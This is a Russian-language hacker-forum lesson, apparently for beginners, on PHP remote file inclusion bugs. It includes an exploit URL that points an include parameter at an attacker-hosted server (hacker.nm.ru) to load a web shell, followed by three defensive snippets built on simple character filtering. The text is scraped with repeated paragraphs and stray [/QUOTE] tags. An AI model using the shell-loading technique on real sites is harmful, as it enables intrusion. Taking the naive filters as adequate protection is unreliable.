Хакер - не преступник. Смысл в свободе...
Сразу хочу сказать, что если вы не новичок, то можете не читать далее. Else, то читаем.
Php инъекция являются, наверно, самым распространенным, после sql-inj, багом.
И так , сама суть:
Есть код:
Случай второй:
[/QUOTE]
Ну и третий случай(довольно редко встречается, но все же, недавно был обнаружен на одном из форумных движков…):
[/QUOTE]
Ну, вот в принципе и все, теперь, если вы не умели, то научились распознавать include баги, а также защищаться от них.
Следующий урок:
Недоступно!
Сразу хочу сказать, что если вы не новичок, то можете не читать далее. Else, то читаем.
Php инъекция являются, наверно, самым распространенным, после sql-inj, багом.
И так , сама суть:
Есть код:
<?
..
Include ("$patch/folder/page.php");
…
?>
Кажется, что тоже все безнадежно, как и во втором случае… Но если вдуматься, что нам мешает создать на удаленном сервере папку folder с page.php в ней?
Ничего не мешает. Создаем, и уже пишем index.php?patch=http://hacker.nm.ru/
И о чудо, мы снова видим там свой шелл :
Теперь, как избежать этого.
Случай первый:
<?
..
if (file_exists("$page.php")) //Проверим файл на сущесвтование. Если он есть, то мы вставим его
{
Include ("$page.php");
}
Else //Есле…
{
Echo "Error!";
}
…
?>
Случай второй:
[/QUOTE]
<?
..
$page=str_replace("/","",$page); // Это отфильтрует возможность перехода в другие дириктории.
if (file_exists("files/$page.htm "))
{
Include ("files/$page.htm");
}
Else
{
Echo "error";
}
…
?>
Ну и третий случай(довольно редко встречается, но все же, недавно был обнаружен на одном из форумных движков…):
[/QUOTE]
<?
…
$patch=str_replace("/","",$patch); // Отфильтруем нехорошие символы
$patch=str_replace(":","",$patch);
$patch=str_replace(".","",$patch);
if (file_exists("$patch/folder/page.php ")) //Проверим файл на существование. Если он есть, то мы вставим его
{
Include ("$patch/folder/page.php");
}
Else
{
Echo "Error!";
}
…
?>
Ну, вот в принципе и все, теперь, если вы не умели, то научились распознавать include баги, а также защищаться от них.
Следующий урок:
Недоступно!